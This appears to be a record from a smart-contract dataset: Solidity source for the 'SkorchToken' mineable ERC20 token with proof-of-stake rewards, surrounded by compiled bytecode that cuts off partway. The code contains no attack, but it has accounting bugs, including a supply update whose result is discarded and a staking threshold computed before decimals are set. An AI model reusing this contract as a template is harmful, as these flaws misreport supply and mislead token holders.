ffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506109a9565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a595780601f10610a2e57610100808354040283529160200191610a59565b820191906000526020600020905b815481529060010190602001808311610a3c57829003601f168201915b505050505081565b60075481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b4b5780601f10610b2057610100808354040283529160200191610b4b565b820191906000526020600020905b815481529060010190602001808311610b2e57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610ba35750600082115b15610cae57816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610cb3565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610efa578082015181840152602081019050610edf565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f1925050501515610f4f57600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582007d1e82dfdb563c10c7d66caed40bc5abfb04e0ae5101c6c68cd7f2df0d4caff0029
|
{"success": true, "error": null, "results": {}}
| 8,139 |
0xd83caa129d9d7080a15d26499733f783eb14e667
|
pragma solidity ^0.4.18;
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNK0kxolc:;,,'''''''''',,;:cloxk0KNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMWN0kdl:,''''',,;;:::::cc:::::;;,,''''';:ldk0NWMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMWN0xo:,''',;:cloodxxkkkkkkkkkkkkkkxxdoolc:;,''',:ox0NWMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMWXOdc,''';:lodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxdoc:;''',cdOXWMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMN0d:,'',:loxkkkkkkkkkkkkkkkkkkkkkxodkkkkkkkkkkkkkkkkxol:,'',:d0NMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMWXxc,'',:ldxkkkkkkkkkkkkkkkkkkkkkxl:;cxkkkkkkkkkkkkkkkkkkkxdl:,'',cxXWMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMWKd:''';ldxkkkkkkkkkkkkkkkkkkkkkkxo:'';dkkkkkkkkkkkkkkkkkkkkkkkxdl;''':dKWMMMMMMMMMMMMM
// MMMMMMMMMMMWKd;'',:oxxkkxxkkxkkxxxxxxxxxkkxkkxl,'',cxxkkxxxxxxxxxkkkxkkkxkkxkkxxo:,'';dKWMMMMMMMMMMM
// MMMMMMMMMMXx:'',:oxxxxxxxxxxxxxxxxxxxxxxxxxxxl,'',:oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo:,'':xXMMMMMMMMMM
// MMMMMMMMW0c''':oxxxxxxxxxxxxxxxxxxxxxxxxxxxxd;''';coxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo:'''c0WMMMMMMMM
// MMMMMMMXx;'';ldxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc,''';coxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdl;'';xXMMMMMMM
// MMMMMMKl,'':oxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd:'''',:lxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxo:'',lKMMMMMM
// MMMMW0c'',cdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd:'''',;ldxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdc,''c0WMMMM
// MMMW0c'',cdxddddddddddddddddddddddddddddxddo:'''''':dddddddooddxddddddddddddddddddddddddxdl,''c0WMMM
// MMW0c'',lddddddddddddddddddddddddddddddddddd:'''''',lddddddoc:lddddddddddddddddddddddddddddl,''c0MMM
// MMKl'',cddddddddddddddddddddddddddddddddddddc''''''':oddddddl,,codddddddddddddddddddddddddddc,''lKMM
// MNd,''coddddddddddddddddddddddddddddddddddddc,'''''',cddddddo:'';codddddddddddddddddddddddddoc'',dNM
// WO;'';odddddddddddddddddddddddddddddddddddddl,''''''';lddddddl,''';loddddddddddddddddddddddddo:'';OW
// Xl'',codoodddddddddddddddddddddddoddddoollodl;'''''''';loddodo:'''',:odooddddddddddddddoodddool,''lX
// k;'':oooooooooooooooooooooooooooooooooo:,cooo;''''''''',cooooo:'''''';loooooooooooooooooooooooo:'';k
// o'',cooooooooooooooooooooooooooooooool;'':ooo:'''''''''',:loooc,'''''',:oooooooooooooooooooooooc,''o
// :'';loooooooooooooooooooooooooooooooc;''':ooo:'''''''''''';cll:''''''''';loooooooooooooooooooool;'':
// ,'';loooooooooooooooooooooooooooool:,''',coooc'''''''''''''',,''''''''''';looooooooooooooooooool;'';
// ''':loooooooooooooooooooooooooool:,''''';loooc,''''''''''''''''''''''''''';coooooooooooooooooool:'''
// ''':loolllllllllllllllllloollllc;'''''',cllllc,'''''''''''''''''''''''''''';cllollllllllllllolll:'''
// ''':lllllllllllllllllllllllllc;'''''''';lllllc,''''''''''''''''''''''''''''';lllllllllllllllllll:'''
// ,'';lllllllllllllllllllllllc;''''''''',clllllc,'''''''''''''''''''''''''''''':llllllllllllllllll;'',
// ;'';cllllllllllllllllllllc:,'''''''''':llllll:,'''''',,'''''''''''''''''''''',:llllllllllllllllc;'';
// c'',:lllllllllllllllllll:,''''''''''',:lllllc;'''''''cc''''''''''''''''''''''';clllllllllllllll:,''l
// x,'';cllllllllllllccllc:,''''''''''''',:cccc;''''''',oo;''''''''''''''''''''''':clllllllcllcllc;'',x
// 0:'',ccccccccccccccccc;''''''''''''''''',,,''''''''':dd;''''''''''''''''''''''',ccccccccccccccc,'':0
// Nd,'';ccccccccccccccc;''''''''''''''''''''''''''''';oxd;'''''''''''''''''''''''':ccccccccccccc;'',dN
// MKc'',:ccccccccccccc;'''''''''''';:,''''''''''''',;ldxo;'''''''''''''''''''''''';cccccccccccc:,''cKM
// MWO;'',:ccccccccccc:,''''''''''';odl;''''''''''',lodddl,'''''''''''''''''''''''';:cccccccccc:,'';OWM
// MMWx,'',:cccccccccc;''''''''''';ldddo:,''''''',:ldddddc''''''''''''''''''''''''',:ccccccccc:,'',xWMM
// MMMNd,'',:::c::c:c:,'''''''''',coooodolc;,,,;:looodddo;''''''''''''''''''''''''',:c::::ccc:,'',dNMMM
// MMMMNd,'',:::::::::,'''''''''';loooooooooolloooooooooc,''''''''''''''''''''''''';:::::::::,'',xNMMMM
// MMMMMNx;'',;:::::::,'''''''''':looooooooooooooooooooo:''''''''''''''''''''''''',;:::::::;,'';xNMMMMM
// MMMMMMWOc''',::::::;''''''''',:llllllllllllllllllllll:''''''''''''''''''''''''',::::::;,'''cOWMMMMMM
// MMMMMMMMKo,'',;::::;,'''''''',:llllllllllllllllllllll:'''''';;'''''''''''''''',;:::::;,'',oKMMMMMMMM
// MMMMMMMMMNOc''',;;:;,'''''''',:lllllllllllllllllllcll:,'''',:c,''''''''''''''';;:::;,'''ckNMMMMMMMMM
// MMMMMMMMMMWXx:''',;;;,'''''''':ccccccccccccccccccccccc:;,,,:cc;'''''''''''''',;;;;,''':xXWMMMMMMMMMM
// MMMMMMMMMMMMWKd;''',,;,''''''';ccccccccccccccccccccccccc::cccc;''''''''''''',;;,,''':dKWMMMMMMMMMMMM
// MMMMMMMMMMMMMMWXxc,''',''''''',:::::::::::::::::::::::::::::::;'''''''''''',,,''',:xXWMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMWXOo;'''''''''',::::::::::::::::::::::::::::::,'''''''''''''''';lONWMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMWKkl;'''''''',;:::::::::::::::::::::::::::;,''''''''''''';lkKWMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMWKko:,''''',,;;;;;;;;;;;;;;;;;;;;;;;;;;,'''''''''',:okKWMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMWN0koc;,'''''',,,,,,,,,,,,,,,,,,,,,''''''',;cok0NWMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNX0kdlc;,,'''''''''''''''''''',,:cldk0XNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOxdlc:;,,'''''',,;;cloxOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
//
// ----------------------------------------------------------------------------------------------------
//
// Website: https://skorch.io
// Reddit: https://reddit.com/r/SkorchToken
// Twitter: https://twitter.com/SkorchToken
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SkorchToken is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public _BLOCKS_PER_READJUSTMENT = 1024;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
uint256 public MinimumPoStokens = 20000 * 10**uint(decimals); // set minimum tokens to stake
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => uint256) timer; // timer to check PoS
// how to calculate doubleUnit:
// specify how much percent increase you want per year
// e.g. 130% -> 2.3 multiplier every year
// now divide (1 years) by LOG(2.3) where LOG is the natural logarithm (not LOG10)
// in this case LOG(2.3) is 0.83290912293
// hence multiplying by 1/0.83290912293 is the same
// 31536000 = 1 years (to prevent deprecated warning in solc)
uint256 doubleUnit = (31536000) * 1.2;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
constructor()
public
onlyOwner()
{
symbol = "SKO";
name = "Skorch Token";
decimals = 18;
// uncomment this to test
//balances[msg.sender] = (20000) * (10 ** uint(decimals)); // change 20000 to some lower number than 20000
//to see you will not get PoS tokens if you have less than 20000 tokens
//timer[msg.sender] = now - (1 years);
_totalSupply = 21000000 * 10**uint(decimals);
tokensMinted = 0;
rewardEra = 0;
maxSupplyForEra = _totalSupply.div(2);
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function setPosTokens(uint256 newTokens)
public
onlyOwner
{
require(newTokens >= 100000);
// note: newTokens should be multiplied with 10**uint(decimals) (10^18);
// require is in place to prevent fuck up. for 1000 tokens you need to enter 1000* 10^18
MinimumPoStokens = newTokens;
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
_claimTokens(msg.sender);
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
assert(tokensMinted <= maxSupplyForEra);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39)
{
rewardEra = rewardEra + 1;
}
maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1));
epochCount = epochCount.add(1);
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = _BLOCKS_PER_READJUSTMENT;
uint targetEthBlocksPerDiffPeriod = epochsMined * 60; //should be 60 times slower than ethereum
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward() public constant returns (uint) {
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];// + _getPoS(tokenOwner); // add unclaimed pos tokens
}
function transfer(address to, uint tokens) public returns (bool success) {
_claimTokens(msg.sender);
_claimTokens(to);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
_claimTokens(from);
_claimTokens(to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function claimTokens() public {
_claimTokens(msg.sender);
}
function _claimTokens(address target) internal{
if (timer[target] == 0){
// russian hackers BTFO
return;
}
if (timer[target] == now){
// 0 seconds passed, 0 tokens gotten via PoS
// return so no gas waste
return;
}
uint256 totalTkn = _getPoS(target);
balances[target] = balances[target].add(totalTkn);
_totalSupply.add(totalTkn);
timer[target] = now;
emit Transfer(address(0x0), target, totalTkn);
}
function _getPoS(address target) internal view returns (uint256){
if (balances[target] <= MinimumPoStokens){
return 0;
}
int ONE_SECOND = 0x10000000000000000;
int PORTION_SCALED = (int(now - timer[target]) * ONE_SECOND) / int(doubleUnit);
uint256 exp = fixedExp(PORTION_SCALED);
return ((balances[target].mul(exp)) / uint(one)).sub(balances[target]);
}
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5= 0x2cb53f09f05cc627c8;
int256 constant one = 0x10000000000000000;
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) public pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
}
|
0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101f3578063095ea7b314610283578063163aa00d146102e857806317da485f146103135780631801fbe51461033e57806318160ddd14610391578063198b5d0d146103bc57806323b872dd146103e75780632d38bf7a1461046c578063313ce5671461049757806332e99708146104c85780633eaaf86b146104f357806348c54b9d1461051e578063490203a7146105355780634ef37628146105605780634fa972e1146105935780636de9f32b146105be5780636fd396d6146105e957806370a082311461064057806379ba50971461069757806381269a56146106ae578063829965cc1461071957806387a2a9d6146107445780638a769d351461076f5780638ae0368b1461079a5780638da5cb5b146107cd57806395d89b411461082457806397566aa0146108b4578063a9059cbb14610919578063b5ade81b1461097e578063bafedcaa146109a9578063cae9ca51146109d4578063cb9ae70714610a7f578063d4ee1d9014610aaa578063dc39d06d14610b01578063dc6e9cf914610b66578063dd62ed3e14610b91578063de43844b14610c08578063ea9ae72e14610c49578063f2fde38b14610c76575b600080fd5b3480156101ff57600080fd5b50610208610cb9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561024857808201518184015260208101905061022d565b50505050905090810190601f1680156102755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028f57600080fd5b506102ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d57565b604051808215151515815260200191505060405180910390f35b3480156102f457600080fd5b506102fd610e49565b6040518082815260200191505060405180910390f35b34801561031f57600080fd5b50610328610e4f565b6040518082815260200191505060405180910390f35b34801561034a57600080fd5b50610377600480360381019080803590602001909291908035600019169060200190929190505050610e6d565b604051808215151515815260200191505060405180910390f35b34801561039d57600080fd5b506103a6611106565b6040518082815260200191505060405180910390f35b3480156103c857600080fd5b506103d1611110565b6040518082815260200191505060405180910390f35b3480156103f357600080fd5b50610452600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611116565b604051808215151515815260200191505060405180910390f35b34801561047857600080fd5b506104816113d3565b6040518082815260200191505060405180910390f35b3480156104a357600080fd5b506104ac6113d9565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104d457600080fd5b506104dd6113ec565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105086113f6565b6040518082815260200191505060405180910390f35b34801561052a57600080fd5b506105336113fc565b005b34801561054157600080fd5b5061054a611407565b6040518082815260200191505060405180910390f35b34801561056c57600080fd5b5061057561143e565b60405180826000191660001916815260200191505060405180910390f35b34801561059f57600080fd5b506105a8611448565b6040518082815260200191505060405180910390f35b3480156105ca57600080fd5b506105d361144e565b6040518082815260200191505060405180910390f35b3480156105f557600080fd5b506105fe611454565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064c57600080fd5b50610681600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147a565b6040518082815260200191505060405180910390f35b3480156106a357600080fd5b506106ac6114c3565b005b3480156106ba57600080fd5b506106ff600480360381019080803590602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050611662565b604051808215151515815260200191505060405180910390f35b34801561072557600080fd5b5061072e6116f7565b6040518082815260200191505060405180910390f35b34801561075057600080fd5b506107596116fd565b6040518082815260200191505060405180910390f35b34801561077b57600080fd5b50610784611703565b6040518082815260200191505060405180910390f35b3480156107a657600080fd5b506107af611709565b60405180826000191660001916815260200191505060405180910390f35b3480156107d957600080fd5b506107e261170f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561083057600080fd5b50610839611734565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087957808201518184015260208101905061085e565b50505050905090810190601f1680156108a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108c057600080fd5b506108fb60048036038101908080359060200190929190803560001916906020019092919080356000191690602001909291905050506117d2565b60405180826000191660001916815260200191505060405180910390f35b34801561092557600080fd5b50610964600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061184b565b604051808215151515815260200191505060405180910390f35b34801561098a57600080fd5b506109936119f8565b6040518082815260200191505060405180910390f35b3480156109b557600080fd5b506109be6119fe565b6040518082815260200191505060405180910390f35b3480156109e057600080fd5b50610a65600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611a04565b604051808215151515815260200191505060405180910390f35b348015610a8b57600080fd5b50610a94611c53565b6040518082815260200191505060405180910390f35b348015610ab657600080fd5b50610abf611c59565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b0d57600080fd5b50610b4c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c7f565b604051808215151515815260200191505060405180910390f35b348015610b7257600080fd5b50610b7b611de3565b6040518082815260200191505060405180910390f35b348015610b9d57600080fd5b50610bf2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de9565b6040518082815260200191505060405180910390f35b348015610c1457600080fd5b50610c3360048036038101908080359060200190929190505050611e70565b6040518082815260200191505060405180910390f35b348015610c5557600080fd5b50610c7460048036038101908080359060200190929190505050611fd2565b005b348015610c8257600080fd5b50610cb7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612049565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d4f5780601f10610d2457610100808354040283529160200191610d4f565b820191906000526020600020905b815481529060010190602001808311610d3257829003601f168201915b505050505081565b600081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60125481565b6000610e68600b54600a546120e890919063ffffffff16565b905090565b600080600080600d5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140182815260200193505050506040518091039020925084600019168360001916141515610ef657600080fd5b600b5483600190041115610f0957600080fd5b60136000600d54600019166000191681526020019081526020016000205491508260136000600d5460001916600019168152602001908152602001600020816000191690555060006001028260001916141515610f6557600080fd5b610f6e3361210c565b610f76611407565b9050610fca81601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230b90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110228160145461230b90919063ffffffff16565b601481905550600f546014541115151561103857fe5b33601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806011819055504360128190555061108f612327565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600d54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935050505092915050565b6000600554905090565b600c5481565b60006111218461210c565b61112a8361210c565b61117c82601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124e82601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132082601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230b90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600e5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60055481565b6114053361210c565b565b6000611439600e5460020a600460009054906101000a900460ff1660ff16600a0a6032026120e890919063ffffffff16565b905090565b6000600d54905090565b600f5481565b60145481565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffff